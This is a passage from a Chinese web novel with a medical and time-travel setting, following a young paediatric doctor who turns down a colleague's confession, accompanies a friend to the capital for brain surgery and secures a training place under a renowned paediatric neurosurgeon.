“很正常啊,”南栀说,“人都有优点和缺点的,都有好有坏,他的确对你很好,你不忍心是正常的。你没选择包庇,就已经说明你的态度了,现在作为他的女儿去关心他,这没什么。” 就像南栀的父母,她也不相信他们只有缺点,他们一定还有南栀不知道的好。 最简单的,他们对箫珵就很好。 韦初雪心中的石头少了些,“你年纪比我小,但看这些事,好像比我更透彻。” 南栀:“有吗?我没发现啊。” 韦初雪把南栀拉到床边坐下,问:“你愿意和我一起去首都吗?” “我?我去了也做不了什么,如果你想让我陪你动手术,当然没问题,我可以和祁院长请几天假。” 韦初雪却道:“只请几天假,来不及。” 南栀好奇地看着她。 “我和陆教授联系过了,”韦初雪说,“陆教授在儿研所有认识的朋友,可以帮你牵线,听说是小儿神外方面的专家,如果你能去进修,哪怕只有几个月,也是不一样的。” 韦初雪听说南栀不想去首都读书。 其实南栀想得比较简单,知识她学过了,积累经验更重要,多和前辈们学习,她不认为会比先上学再工作差,甚至会更好。 但在韦初雪看来,临川市没人能教得好南栀。 南栀心动道:“我可以去进修?跟着小儿神外的专家?” “具体的事,还得去问陆教授,陆教授现在正在研究这方面,但她的手术经验比较少,或许选择那位专家更好。” 南栀回到办公室便给陆嘉述打电话。 陆嘉述道:“她是问过我,我答应去找找人,舒映阶是这方面的专家,如果你能跟她上台,学上几个月,再回来就完全可以上台主刀,我相信你的学习能力。” 南栀的心飞了起来。 她虽然已经确定好方向,但还没制定具体的计划,如果能有专家带着她,当然是最好的。 陆嘉述又给南栀补了刀,“不过我和舒映阶不太熟,我俩以前还有点儿小摩擦,你可别指望我能把这事说通。” 南栀:“啊……” 她自己就更说不通了啊? 那可是小儿神外的大神,将来要出现在医学课本上的,能听她的话吗? 陆嘉述说:“我会给你们安排一次见面,如何说服她,就看你自己了。” 南栀:“……” 那就只能靠她委婉的嘴皮子了!! 当天,南栀都想不起来自己已经下班,抓起小本本便四处求救。 她找到值班的阮乔,“该怎么讨好一个人?” 阮乔说:“其他废话都没用,夸对方好看!” 南栀认真记录。 她又找到箫珵,“如何讨好一个人?” 箫珵说:“如果不是陆随,应该都还算随和,不需要讨好。” 南栀:“明白。” 陆随脾气差,记下。 南栀又去找盛昭云。 盛昭云:“我?讨好?” 南栀:“……” 她收起笔记本,“主任忙啊。” 盛昭云:“你赶紧搞学历去!!” 南栀最后在手术室门口遇到陆随。 她掏出笔记本,乖巧地看着他,“请回答。” 陆随却目光乱飘,刚看到南栀便会移开目光。 南栀认真等待。 陆随摘掉手术帽,捏了捏嗓子,做心理建设,“这件事……我不太擅长,不过我还有其他事要问你。” 南栀很惋惜,她本来很期待陆随的答案的,总觉得学长行为方式都不是正常人,应该能有不同的答案。 南栀道:“你请说。” “我……”陆随咬着唇,又沉默许久。 南栀继续等待。 陆随:“你有没有……怎么说呢,你觉得我怎么样?” 南栀道:“你很好啊。” “你多想想,”陆随拧眉,“别急着给我答案。” “这也要想啊,”南栀不知该想什么,“是个好人啊。” 这话有些耳熟。 陆随想了好半天,头疼道:“别给我发好人卡。” 南栀:“……你是个坏人?” 她很委屈,“可你不是啊。” 陆随:“……” 有些话直说了,南栀都不见得能听懂,更何况绕着弯说。 陆随鼓起勇气,直视着南栀,“我是想问你,你对我有没有好感。” 南栀克制地眨了好几下眼睛,掩盖自己的疑惑。 她好像真的听不懂陆随的话? 陆随索性一口气说完,“我喜欢你,如果你对我有同样的感觉,希望我们能有机会进一步发展。” 南栀怔住,她低下头,良久才小声问:“怎么发展?” 这还真难住陆随了。 他上学的时间比南栀还长,记忆力还真不如南栀好,每天的时间学习都不够用,没闲心管那么多。 陆随努力回忆舍友是如何谈恋爱的,“好像就是打打电话?晚上视频?呃,现在都没法视频。周末出去玩?我们有可能会值班……” 他终于想到一个恋爱史丰富的舍友,“就是谈恋爱,合适会结婚……他怎么没毕业就结婚?” 研究生允许结婚吗? 南栀道:“法定结婚年龄好像不太高。” 陆随小心翼翼看着她,“那你是怎么想的?” “我……”南栀大脑空乱,心里很乱,“我好像……” 陆随安静等着。 南栀不太敢看他,“我真的没考虑过这些,你……别和我说这些话了。” 陆随一愣。 南栀抱着笔记本跑走。 她很坚决,没有犹豫。 人生第一次表白,好像是被拒绝了。 陆随看着南栀的背影,甚至不知道发生了什么。 不远处护士在叫他,“陆医生,麻烦过来看看。” 陆随一边看着南栀一边应道:“知道了,来了。” * 祁念珍原本就是支持南栀去首都求学的,她相信南栀有这个本事。 现在好了,陆教授愿意帮忙,南栀还有可能去舒教授手下实习,这再好不过。 祁念珍知道这一消息后便在帮南栀张罗各种事,商量进修的可能性。 如果能定下来,祁念珍还要考虑南栀这两个月的衣食住行问题,总不能让小姑娘自己出钱,医院肯定要出份力的。 南栀转达了陆教授的意思。 祁念珍不可思议道:“陆教授说,她和舒教授关系一般,没法确定?” 南栀点头。 祁念珍:“这……好吧,那你就去看看?” 南栀问:“是有什么问题吗?” 祁念珍笑着摇头,“没有,你去吧,好好准备,我相信你可以的。” 南栀离开院长办公室。 已经到了吃饭的时间,南栀直接绕去食堂。 阮乔几人已经在了。 儿科和心外的医生凑在一起吃饭已经成为康宁医院食堂的风景线,箫珵和陆随都在。 箫珵热情地把南栀叫过来。 南栀看向陆随,陆随低头吃饭,没说话。 如果南栀没理解错,陆随是在对她表白。 她虽然不关心这些事,但也不至于傻到这个地步,这都看不出来。 她拒绝了,这几天都没和陆随碰面,有点儿尴尬。 南栀摇头道:“这边人太多了,我去旁边吃吧。” 箫珵:“啊?” 阮乔刚塞进嘴里两口饭,见南栀要走,赶紧端着盘子追上去,“怎么不一起吃啊?以前不都是一起吃吗?” 箫珵茫然地看向韦宁雨和陆随。 韦宁雨摊手,“我可不敢招惹她们,她们是儿科的祖宗,我还指望着她们多去查房。” 箫珵又看向陆随,“你欺负南栀了?” 陆随刚刚虽然没抬头,但心跳的速度比被拒绝时还快,还敢欺负南栀? 他不敢回头,怕撞上南栀,便漫不经心去看箫珵,“我?” 箫珵奇怪道:“你也没招惹她,她干嘛要跑?不过你最近两天好像不太对劲啊,你被妖精吸走魂魄了?做什么都没精神。” 陆随漫不经心道:“是你太关注我。” “我关注你?!”箫珵被气笑,“我为什么要关注你?!” 陆随继续吃饭。 “我不和你计较,你和南栀到底怎么了?” 陆随:“哦,没什么大事。” “没什么大事那是什么事,没大事我……” 陆随说:“我表白了。” 韦宁雨险些把饭粒喷出来。 箫珵:“……没大事?” 韦宁雨追问:“你俩好了?” 陆随反问:“像吗?” 韦宁雨:“……” 这都不说话了,是不太像。 韦宁雨道:“你被拒绝了?” 陆随点头,“差不多。” 韦宁雨:“……” 被拒绝了还能这么淡定?! 箫珵没听明白。 南栀明明说过对陆随有好感,为什么要拒绝?她没有理由拒绝啊。 箫珵总结道:“没那么简单,肯定是你欺负南栀。” 陆随:“……” 他端起餐盘起身,“你慢慢想吧。” 转身时,正好遇到吃完饭的南栀。 南栀没胃口,吃得不多。 两人同时愣了一下,南栀不知该说些什么,陆随扯了个笑,然后侧身避开南栀。 阮乔看向箫珵。 箫珵耸肩。 扭头时南栀已经走了。 阮乔赶紧追上南栀,“你刚才说陆医生想和你发展?你拒绝了?为什么拒绝?” 她觉得南栀挺喜欢陆随的,两人蛮配。 南栀道:“我也不知道。” 阮乔:“?” 她捏住南栀的脸左右打量,“是人脸啊,是人嘴啊,说的是人话吗??” 阮乔把南栀带到后院停车棚。 “这里没人,你不用担心被听到,到底是什么情况?” 南栀也很茫然,“我不知道,就是听到他的话,很害怕。” “害怕什么?” 南栀慢吞吞地摇头,愁道:“发展?怎么发展?要结婚吗?结婚……能相处吗?” 阮乔:“哦,你恐婚。” “我也不清楚,就是很乱,”南栀老实巴交道,“其实我哥也和我说过这个话题,我好像是挺喜欢学长的,但进一步发展,我真没想过,我做不到。” 阮乔:“明白,渣女。” 南栀:“……” 也是当上酷帅的渣女了。 南栀说:“我是不是该委婉一些,现在见面有些尴尬。” “别怕,”阮乔安慰道,“你不是要去首都吗?男人的喜欢都不持久,等你从首都回来,陆医生的孩子都能出门打酱油了。” 南栀:“……” 学长好像不是这种人? 阮乔给南栀加油打气:“你放心,我就是你做渣女的坚实后盾!!” 南栀:“……谢谢。” 还怪有力量的。 去首都坐绿皮火车最方便。 临川市没有机场,坐飞机要先去省会,而且省会还没有直达首都的飞机,现在飞机出行的人很少。 更重要的是,南栀也有点儿不信任现在的飞机。 自从她见识过医院的各种设备后,就对后世科技发展迅速这一概念有了正确的认知。 韦初雪也愿意坐绿皮火车,范雯华和韦利都被牵扯进杜凡的案件中,没法陪韦初雪一同去,韦初雪的奶奶跟着二人。 奶奶年纪大了,什么都不会,只能帮忙照顾韦初雪。 订票、取票都是南栀一人去做。 南栀的票,医院说要报销,韦初雪拒绝了。 南栀拿到票后才知道韦初雪为何拒绝。 医院没法报销软卧车票。 南栀上辈子都没坐过软卧! 穷了两辈子的南栀很感慨。 不过现在绿皮火车的软卧条件一般,还没有混时间的手机,南栀只能带了些儿科医学期刊,也挺难熬。 深夜两点,绿皮火车缓缓驶入首都火车站。 车站上的灯光照亮漆黑的夜,南栀背着双肩包,扶着韦初雪刚下车,就感觉到不同。 还没走出车站,南栀便看到两座高楼,虽然不如后世密集,但比临川市强得多。 南栀几人顺着人流出站,韦家人托关系找人来接站,剩下的事就不用南栀操心了,韦家人订了首都的酒店。 价格不便宜,但是比招待所干净得多。 他们稍微休整后,天一亮,南栀便带着韦初雪去富雅医院挂号排队。 听说富雅医院人很多,很难排队,韦家想找关系,但他们家的关系都在临川市,最多能在省会找找人,到了首都,实在插不上手。 南栀一早就过来拿了号,还不到七点钟,已经有人在神外主任诊室门口排队。 南栀赶紧把韦初雪接过来,她先给韦初雪收拾出来能坐下的地方,然后自己去站着排队。 上午九点才开门诊,他们还得排很久呢。 韦初雪心里过意不去。 她叫南栀过来,只是希望能让南栀来富雅医院看看,陆教授答应帮忙,那是锦上添花。 可没想到如果南栀不在,她还真不 太方便了,很多事情奶奶都做不来。 韦初雪拿着点心和水杯走到南栀旁边,南栀已经席地而坐,其他排队的人也是如此。 韦初雪跟着坐下来,“不好意思啊。” 南栀神秘兮兮道:“感触颇多。” 韦初雪:“?” 南栀指着医院说道:“你看富雅医院的大楼,虽然没法和三十年后比,但也算富丽堂皇?还有排队的人,这么多人来排主任,我在康宁医院从来没见过这阵仗。” 刚进门时,南栀甚至还看到水晶吊灯。 她以为暴发户才会在家里的别墅装这东西。 仔细看看富雅医院,土豪味儿还真不少。 韦初雪笑道:“康宁医院和富雅医院当然没法相提并论,富雅医院的资源甩康宁医院几条街,富雅医院的医生面对的患者也比康宁医院多,而且来找他们的患者,基本是当地医院无法解决的,在富雅医院做医生,不仅能使用最好的设备,还能快速积累经验,所以祁院长希望你能来富雅医院工作。” 南栀说:“是我目光短浅了,不过我觉得以后我还能再来。” 韦初雪道:“希望我们能一起来。” 两人一直排到十点钟。 队伍一点点往前挪,十点零十分,终于轮到韦初雪。 到了富雅医院,所有检查要重新做一遍,南栀想借轮椅,富雅医院的轮椅不够用。 她只能扶着韦初雪到处奔波。 韦初雪是脑瘤,要做的检查很多,这一套折腾下来,人家早就午休,还得等下午再来拿结果。 这点儿时间不值当回九点,南栀和韦初雪就在主任门前等。 南栀发誓:“以后不管是对待什么患者,我一定如沐春风。” 来医院看病可太不容易了。 韦初雪的感触比南栀深,毕竟她平时的态度还不如南栀。 “就算患者指着我大骂,我也一定不反驳,等检查结果的时间真难熬。” 南栀笑道:“放心吧,肯定是良性。” 韦初雪反问:“你没看到片子,敢肯定?如果查出来是恶性的,怎么办?” 南栀被问住了,“就是……先骗了再说嘛。” 韦初雪哭笑不得。 南栀怕说错话惹韦初雪伤心,起身道:“水不多了,我去接水,你……” 她看到一个同样正在等主任上班的病人一动不动地坐在椅子上。 南栀看了一会儿,飞奔过去,“同志,同志?你还好吗?” 男人的身体顺着椅子往下滑落。 韦初雪吃惊地站起来。 南栀扒开男人的眼睛,“得送急诊?” 韦初雪:“是、是什么问题?” 南栀:“他瞳孔不等大!!” 第73章 第73章儿研所 中午门诊虽然不开门,但附近也有护士,南栀毕竟还不是神外的医生,也没有检查工具,在确定患者心搏骤停立刻实施心肺复苏,然后等富雅医院的护士过来。 富雅医院的反应比康宁医院迅速得多,也更加专业。 护士接替心肺复苏的工作,直接往急救室拉。 男人是一人独自来看病的,没人知道他的情况,但他手边有片子。 因为韦初雪的病,南栀最近没少研究这方面的片子,现在看得很熟练。 “他有脑瘤。” 韦初雪说:“旁边的袋子里还有呕吐物。” “瘤卒中?”南栀道,“我得把片子一起送过去,你在这里等等我。” 男人运气不错,幸好被及时发现,急诊又把他从鬼门关拉了回去。 南栀旁观了抢救过程,病人命太苦,除了脑瘤外还有很多基础病。 来富雅医院看病,连陪伴的亲人都没有。 南栀听到急诊在给神外科打电话,“病人没什么问题,肯定的呀,正常呼吸、正常睁眼……我能骗你?那肯定不能,赶紧把床位腾出来。” 南栀还没去急诊值过班,不太理解这话。 急诊:“够了!!人是晕在你们主任诊室门口的,你们……哦,马上过来接人是吧,好。” 南栀:“……” 科室之间的关系也很紧张呢。 很快,一个穿白大褂的中年男人带着两个护士赶来。 男人是国字脸,留着短发,戴眼镜。 白大褂内是衬衫和领带,看起来很注重着装。 他指挥着其他人把病人拉走,接着对两个护士严肃道:“你们一直没发现病人的状况?和你们说过很多次了,要格外留意睡着的病人,就算睡着了,也要把他们叫醒确认!” 两个护士并排站着,不敢说话。 急诊医生笑道:“龙哥啊,行了,人不是没事吗?以后多给我们留几个床位,什么都好说。” 龙潭道:“错了就是错了,患者被发现时瞳孔不等大,这是耽误了多久?不骂几句,下次还这样?” 急诊医生道:“你们运气不错啊,被患者家属发现了,这个家属刚好还懂些医学知识……哎,就是她。” 急诊医生看到南栀,像发现新大陆。 龙潭朝南栀点点头,“麻烦你了。” “看着年纪不大,还会心肺复苏呢?”急诊医生打量着南栀,“穿得也……” 不像是他们首都人。 南栀说:“我是从临川来的。” 急诊医生含笑点头。 他是没听说过临川这个地方,果然是从小地方来的,说实话穿得是不如首都人时髦。 应该是在哪个小诊所工作的,还知道扒开眼皮看看,普通人能立刻去叫医护人员就已经很棒了。 急诊医生低声道:“这位是神经外科的主任龙潭,你不是陪家人来看病吗,是在神外门口排队吧?懂吗?” 南栀眨眨眼。 急诊医生:“……” 明白了,从小地方来的小傻子。 急诊医生便对龙潭说:“龙主任,这人要是在你们门口出事了,医院可真说不清,这小姑娘的家人也是脑瘤,特意奔着你来的。” 龙潭看向南栀。 南栀对他显然很陌生。 龙潭:“……,知道了,我会留意。” 急诊医生朝南栀挤挤眼睛。 情商进步的南栀努力判断现在的状况,没看出来。 她回到门诊门口,见韦初雪独自坐在走廊的休息椅上,神色落寞。 韦初雪也是脑瘤,刚看到一个人险些去鬼门关报到,现在心情不可能会好。 南栀走过去鼓励道:“你放心吧,片子我们都研究过了,应该没问题的。” 韦初雪低声道:“毕竟要在脑子上动刀,是要把脑膜、颅骨、硬膜都划开,还要全身麻醉,我以前怎么没发现全麻这么可怕?” 南栀努力安慰,“真的不用太担心的,我刚刚看到神外主任了,神外主任他……挺显老的。” 韦初雪抬头。 南栀:“年纪大,技术好嘛!” 恰好有人走过来,“我年轻时,技术也不错。韦初雪?跟我进来。” 南栀回头,正是龙潭。 南栀:“这位就是龙主任。” 韦初雪:“……” 她要不要换个医生? 因为先前的插曲,龙潭给韦初雪看得比较仔细,毕竟病人真的无声无息走了,他会有很大的麻烦,心里也过意不去。 龙潭看完刚出的报告,南栀又把她从前的检查结果给龙潭看。 “这些都是在我们医院做的检查,CT的分辨率肯定不如富雅医院,但是有所变化,就都带过来了” 龙潭道:“医院?你是医生?” 南栀说:“初雪也是医生,我们是同事。” 龙潭“哦”了一声,没多想。 和同行交流起来还是比较舒服的,大部分都能互相理解。 刚刚南栀说的城市他倒是听说过。 “你们医院的设备已经很不错了,对比其他城市,强太多。” 南栀如实道:“我们院长比较注重这方面。” “难怪还有CT,”龙潭说,“你们也别太担心,病人还年轻,手术成功预后不错,你们也是医生,应该能理解我的话。” 韦初雪点头。 这话就是在告诉她,良性肿瘤的可能性很大,但话不能说得太死,理解就好。 “手术我来安排,最快……后天吧,后天能排上,先去办理住院手续。” 南栀问:“请问是哪位医生做手术呀?” 南栀没别的心思,只是多问一句,她最近研究神外的手术比较多。 龙潭说:“要看科室排班,你有意向?” 南栀如实道:“几本出名的期刊都有神外科的论文,您发表的论文很少。” 龙潭:“……” 南栀:“门诊也比其他主任多。” 龙潭:“……” 南栀:“看起来还奔赴在第一线,技术应该特别好。” 她的目光格外真诚。 龙潭:“……” 这姑娘好像是在扮猪吃老虎。 龙潭咬咬牙:“好吧,我来主刀,你们做好术前准备,等通知。” 南栀:“谢谢您!” 龙潭一整晚都没想明白,他到底是不是被算计 了?? * 南栀走了两天,儿科死气沉沉。 马上就要评职称,盛昭云忙得脚不沾地,连吃饭的时间都没有。 韦宁雨最近经常往派出所跑,一天两遍,坚决改名,现在还没办妥。 阮乔看来看去,心外的熟人都比在儿科多,实在无聊时,就往心外跑。 阮乔找到箫珵放在办公室的点心,放进嘴里吃吃吃,“南栀不在,我都没动力看书学习了。” 箫珵也有点儿郁闷。 他叮嘱南栀到了地方就找电话给他消息,她也没打。 两个人都郁闷,只有陆随一切如常,还有闲心整理期刊。 阮乔敬佩道:“还是陆医生厉害,感情虽然失败,但内心强大,情绪稳定,丝毫不影响工作。” 箫珵却不太爽,“你是真喜欢南栀吗?” 陆随把整理好的文献收到抽屉里。 他最近整理了原主曾写过的文章,有许多都是心外主任挂名的,还有几篇论文上有郤文曜的名字。 原主的生活的确光鲜亮丽,但性格使然,背地里也没少被人欺负。 这样的家庭还能被欺负,可见有多夸张。 陆随道:“与其讨论这些没用的事,不如想想自己要不要再去上个学。” 箫珵:“啊?” 陆随说:“研究生才到哪,学医的谁不去读个博士。” 医学生,寒窗苦读,考上博士找工作才更方便。 工作还要从规培开始,折腾下来人都被土埋一半了。 陆随和箫珵都是研究生。 这学历放到现在够用了,但是人得为以后考虑。 “你是真的一点儿都不难过?”箫珵都要佩服了,“表白被拒,这不是很让人难过的事吗?” 阮乔问:“你会难过?” 箫珵:“不知道,都是别人追我。” 阮乔:“……” 他们萧医生怎么是这种人啊。 陆随气定神闲,“是有点儿不开心,但和工作没关系吧?难道被拒绝就得要死要活?地球不转了?” 话说完,他看向还没来得及帮南栀寄出去的论文,还是愣了会儿神。 箫珵:“……” 他看向阮乔,“这俩人果然挺般配。” 一个莫名其妙地拒绝,心里只有工作。 一个就算被拒绝,心里也得有工作。 “而且……”陆随说,“最近两天我在考虑,咱们医院的心外科还是很有竞争力的,但是患者真做选择,大部分都会去恩德,为什么?” 箫珵道:“是啊,能做主动脉夹层手术的医院就没几个。” 放在后世,这手术的难度也极高,时间不紧张地都会去大医院排队做手术。 “所以,我们现在应该考虑的是,怎么让大家更加信任康宁医院。我以为恩德医院心外主任出事后,咱们这边的患者会更多,现在看来好像不是。” 阮乔:“……” 患者多,就会忙,忙就累,这是好事吗? 箫珵说:“原因当然在你。” 陆随:“我?” 箫珵:“你名气不够。” 陆随:“……,是你名气不够吧?” “你不行。” “你才不行!” 阮乔:“……” 三岁孩子给人家看什么病! * 韦初雪顺利入院,南栀也能放下心了。 陆嘉述提前约好了儿研所的舒映阶教授,南栀安顿好韦初雪后赶去儿研所。 首都和临川的区别还是很大的,马路上的车都多了些,还有高楼密集的繁华地带和过街天桥。 南栀一直以为现在的人都是在苦哈哈地过日子,好像不全是。 在首都行动要买纸质版地图,南栀研究半天路线,发现走过去要四十分钟。 如果有自行车就方便了,可惜现在也没个共享单车。 南栀最终选择省点儿钱,走过去。 到儿研所已经是下午三点,儿研所的构造和普通医院不太一样。 除了正常的门诊楼外,占地面积更多的是科研大楼。 科研大楼旁边就是宿舍,还有家属区。 南栀不了解医院构造,只能随机找人询问舒映阶的办公室。 这话刚一说出口,护士就摇头道:“舒教授不是你想看就能看的,她的门诊要排队,而且就算排队,也可能排不上,有很多患者甚至提前一晚就在排队,她也不是每天都在门诊。” 南栀解释道:“是有老师介绍我来见舒教授,我不是来看病的。” “你?”护士认真观察南栀片刻,有被骗的感觉。 南栀白白净净,看起来挺像诚实小姑娘,但说出来的话怎么一点儿可信度都没有? “我跟您确认一遍,你要见舒教授,不是看病?” 南栀道:“是的,应该已经和舒教授提过了,您能帮我问一句吗?” 护士犹豫片刻,道:“这样吧,你跟我过来,这会儿舒教授不一定在哪,我去打个电话,你等等。” 南栀找到人少的地方乖巧地坐好。 很快护士便走过来,“我没联系到舒教授,舒教授的学生说帮你问一问,可能还得再等等。” 南栀赶紧道谢,“麻烦你啦。” 护士笑着摆摆手。 这一等就是一个小时。 期间护士几次路过,见南栀还在等着,都有点儿过意不去。 但她又不敢总催舒教授,儿研所德高望重的教授很多,但舒教授地位特殊。 当年的老教授们一手创立起小儿外科,舒映阶和陆嘉述都可以说是奠基人。 舒映阶在儿研所的地位,普通教授比不上。 甚至现在绝大部分年轻教授,可能都是舒映阶的学生。 另一个护士走过来,见南栀待了很久,偷偷问道:“就是她?” “是呀,说是老师介绍过来的,而且不是本地人,是从一个小地方来的,我没听说过这个地方。” “真是怪了,什么老师,敢随随便便给舒教授介绍人啊?她也是医生吗?是要来拜师?舒教授肯定不能答应啊,这不是浪费时间吗。” “谁说不是,不过我看她脾气挺好的,也挺有礼貌,总把人家晾在这里,也不是个事。” “你去催催?” “我可不敢!!舒教授的脾气,谁受得了?!” “那你说她真留下来了,能受得了吗?” 两人嘀嘀咕咕地离开。 南栀在专心致志地看儿研所印刷的内部期刊,是护士借给她的。 虽然是内部期刊,外人想买也能买到,只不过内部免费,外部交钱。 南栀查资料时,很多病例都是在儿研所的期刊上找到的。 但是外地人要买期刊,路上还得运送一段时间,现在全靠邮局,没有顺丰快递。等拿到本期期刊,下期都开卖了。 “在儿研所能拿到一手资料,也蛮方便的嘛,买其他杂志期刊也很方便。” 南栀想,如果临川市也能这么方便就好了。 网购什么时候能流行起来啊?? 在漫长的等待过程中,南栀借医院的电话给箫珵打电话报平安。 箫珵张口便训道:“你还知道给我打电话?我不是说一下火车就给我打电话吗?要不是韦初雪认识的人多,听到她已经住院了,我还以为你们在火车上出事了。现在的火车和以后的身份证实名制可没法比,多少事都是在车站出的,还有火车上,扒手、色狼那都很多……” 巴拉巴拉说个不停。 南栀有点儿心疼电话费,她商量道:“哥,你能不能写下来。” 箫珵:“啊?” 南栀说:“你写下来我回去看,我们省点儿钱嘛。” 箫珵:“……” 他不是每个月都在努力地给妹妹赚零花钱吗,谁把她养得这么抠的? 一定是陆随!他太抠! 箫珵心安理得地把锅甩走。 南栀说:“哥,我本来是想着,如果舒教授答应让我跟着她学习,我再联系你,给你报喜。” 箫珵问:“她答应了?” 南栀:“……那倒没有。” 箫珵:“……” 南栀说:“不过我有更重要的事情!” “哦?” 南栀:“你以前不是喜欢写文章吗?你去写科幻小说吧!” 箫珵:“……” 南栀脱离医学领域,脑子仿佛就不够用了。 南栀道:“唉,发展真的太慢了,网购啊,快递啊,都没有,这是赚钱的事情嘛,写出来提醒提醒大佬们。互联网什么时候能普及?现在用的电脑和我们那会儿用的电脑最大的区别是什么?我们能给专业人士提供研究方向吗?” 箫珵本来还觉得南栀是痴人说梦,听到这里倒是有点儿心动。 像是芯片这些,他可能不知道具体是如何制作的,不过给个方向还是可以的嘛。 写“科幻小说”也不错? 箫珵思绪太多,脑子有点儿乱。 他还没来得及整理好,就听电话那边的滋啦声越来越大。 “南栀小同志,舒教授回话了,让你过去呢。” 南栀立刻丢给箫珵一句“再见”,便挂断电话。 箫珵:“……” 这狠心的妹妹哦。 舒映阶刚从实验室回 来,护士带南栀过去,一到舒映阶办公室所在的楼层就严肃起来。 不只是她,楼层的每个医生护士都行色匆匆,脸上毫无笑容。 护士低声解释,“舒教授的脾气不太好,很凶很严格,很多人都受不了她,能在她手里毕业的,绝对都是人中龙凤级别的大神。” 南栀道:“所以你们每个人都很严肃?” “不是我们想严肃,”护士说,“我是怕被迫严肃,大家都很忙,我就一个人在笑,你说舒教授会不会记住我?反正你如果真想跟舒教授学习……” 护士投来同情的目光,“我都不知道是该羡慕你还是同情你。” 南栀倒是不太在意教授的脾气好不好,只要做手术的手艺好,她就能跟着学。 就算每天打她骂她,她也能留下来学。 不过她挺好奇,一个人的脾气究竟要多差,才能影响整个儿研所。 护士忍不住笑了下,但很快又板起脸。 “你说反了,不是舒教授脾气差,所以出名,而是她太出名,所以大家都知道她脾气差。好了,她的办公室就在前面,听说刚从实验室回来,好像崴脚了,你过去看看吧。” 舒映阶现在用的办公室是神外主任的办公室。 她不是神外的主任,但神外主任是她的学生,说什么都不肯让自己的老师在小办公室,就把自己的办公室让出来了。 院方原本打算专门给几个老教授建新的办公室,这几人都两袖清风的,说什么都不同意。 南栀走过去敲门,一个比她大七八岁的男人走过来开的门。 男人扫了南栀一眼,“舒教授,人来了。” 南栀乖巧地走进去。 办公室内还有两人,一个二十七八岁的女人正蹲着给满头白发的老人揉脚踝。 老人便是舒映阶,她的年纪和陆嘉述相仿,早就过了退休的年纪,都是凭对医疗事业的热爱留下来的。 和陆嘉述不同的是,舒映阶的衣着很朴素,短发,耳后别着黑色发卡,再用头发遮住,头发一丝不苟,也看不出发卡的痕迹。 南栀想到一个词:精致的老太太。 南栀自我介绍道:“舒教授您好,陆教授跟我说……” 舒映阶没听南栀说话,她皱着眉指挥道:“你的力气太小了,还是不行。” 沈玫说:“我担心您会痛。” 舒映阶蹙眉道:“担心会疼,就不下力气,治标不治本。” 沈玫不敢回话。 舒映阶这才看向南栀,“陆嘉述这个老家伙,身体还不错?还有闲心带徒弟?” 舒映阶和沈玫说话,只是听语调,就能听出优雅来。 但一提到陆嘉述,就多了点儿粗俗。 她俩好像不是朋友?? 南栀答道:“陆教授和您一样,还在工作。” “呵,她和我怎么比,她可比不上我。” 沈玫大气都不敢出。 给南栀开门的是奚阳华,他掠过南栀走到舒映阶旁边,“我们舒教授是儿外最好的医生。” 南栀如实道:“课本上不会只记录一个人的名字,一个人也没法撑起一个学科。” 舒映阶看向南栀。 奚阳华道:“您看见了吧,又来了一个没情商的。” “怎么会,”南栀不赞同,她的情商明明有大幅度提升,“我如果没情商,现在就去代替这位医生去给舒教授看脚踝讨好舒教授了,但我想,这样医生姐姐会尴尬,所以没去。” 沈玫:“……,谢谢啊。” 舒映阶道:“这只是小事,崴得不算严重,我自己清楚。沈玫,你去做自己的事吧。哦对了,这是南栀,是陆嘉述介绍来的,沈玫、奚阳华,都是研究生,刚过来的。” 原来他们也是舒教授在带的学生。 沈玫离开后,舒映阶看向奚阳华,奚阳华镇定自若,没有离开的意思。 舒映阶无语地摇摇头。 这一屋子就没一个情商高的。 舒映阶对南栀说道:“说说吧,我留下你的理由。” 南栀想起阮乔和箫珵教给她的,笨拙地夸奖道:“您……您一看就慈眉善目,而且特别优雅,年轻时长得肯定特别好看。” 舒映阶面无表情。 阮乔教的方法失败。 她亲哥说,不是陆随就不需要讨好,舒教授肯定不是陆随,那就不需要讨好! …… 这俩人教的都是什么啊?! 舒映阶说:“我的时间不多,不想听到废话。” 南栀:“……” 关键时刻,还是得靠自己。 南栀迅速说道:“我记忆力好、理解力强,能将学到的知识快速整合吸收,我动手能力强,看过的手术视频多,学习速度快,您留下我一定不会失望。” 奚阳华笑出声,“这样表扬自己不好吧,真留下了会露馅。” 南栀说:“所以我只说实话。” 奚阳华:“……” 不仅没情商,还脸皮厚。 舒映阶问:“你认为这是你的优势?” 南栀不否认,“我相信与绝大部分人相比,这都是我的优势。” 毕竟她从前读的也是最好的医科大学呢。 奚阳华听得直摇头,“舒教授,陆教授怎么介绍这种人来?” 年纪轻轻,说出来的话比他爹在酒桌上都自大。 他爹只要喝了酒,那就是能一个人扛着枪统治全世界的。 这种人如果被留下,他们儿研所的档次都会被拉低。 舒映阶说:“不错,确实是优点,不过在我这里进修可辛苦。” 奚阳华愣住。 南栀听到她的话,一点儿都没意外,笑眯眯道:“我不怕辛苦,就想学习。” 奚阳华低声道:“教授,她是从小地方来的,你应该了解小地方的医疗水平,别说咱们儿研所,就是去首都普通的医院可能都不够格。” 舒映阶看向奚阳华,“你在教我?” “我……”奚阳华的胆子比沈玫大,但也不敢真和舒映阶对着干,这简直是在和整个儿外作对。 “我不是这个意思。” 舒映阶又看向南栀,“你看起来很高兴,但是好像不太惊讶。” 南栀道:“当然啦,您肯定会留下我。” “太自信也不是好事。” “不是自信,”南栀解释,“您刚才特意介绍我和沈玫学姐认识,肯定是看在陆教授的面子上早就决定留下我了,谢谢您。” 舒映阶挑眉,再次看向奚阳华,目光很玩味。 奚阳华:“……” 他嘀咕道:“耍小聪明。” 既然决定留下南栀,该提供的都得提供。 舒映阶道:“一会儿你先跟着阳华四处转转,熟悉这边的工作情况,然后去找沈玫,让她带你去宿舍。” 奚阳华惊讶道:“还有宿舍?” 他是来儿研所实习的,他和沈玫都想申请儿研所的宿舍,宿舍就在科研大楼旁边,上班方便,但是实习生肯定不给这个待遇。 南栀一来就有宿舍? 舒映阶道:“你也说了,她是从小地方来的,不给配宿舍,再去租房子,方便吗?你和沈玫都是本地人,都有房子,这也要争?” 奚阳华挺委屈。 他念书以来成绩一直优秀,在学校里是老师的宝贝,但在舒教授这边好像一点儿 都不被关注。 沈玫和他是同一届的,沈玫是知道他的水平的。 舒映阶催道:“赶紧去吧,别耽误正事。” 奚阳华走向南栀。 南栀道:“舒教授,我是陪朋友来的,她需要切除脑瘤,这两天就要动手术,所以……” 舒映阶道:“陆嘉述说过了,等她脱离危险后你再搬过来,今天先去确认办公室和宿舍。” 南栀没想到陆教授的话这么管用,明明她走之前陆教授还说自己和舒映阶关系不好,要她多上心。 “谢谢舒教授!” 奚阳华听了,好像喝了一太平洋的醋。 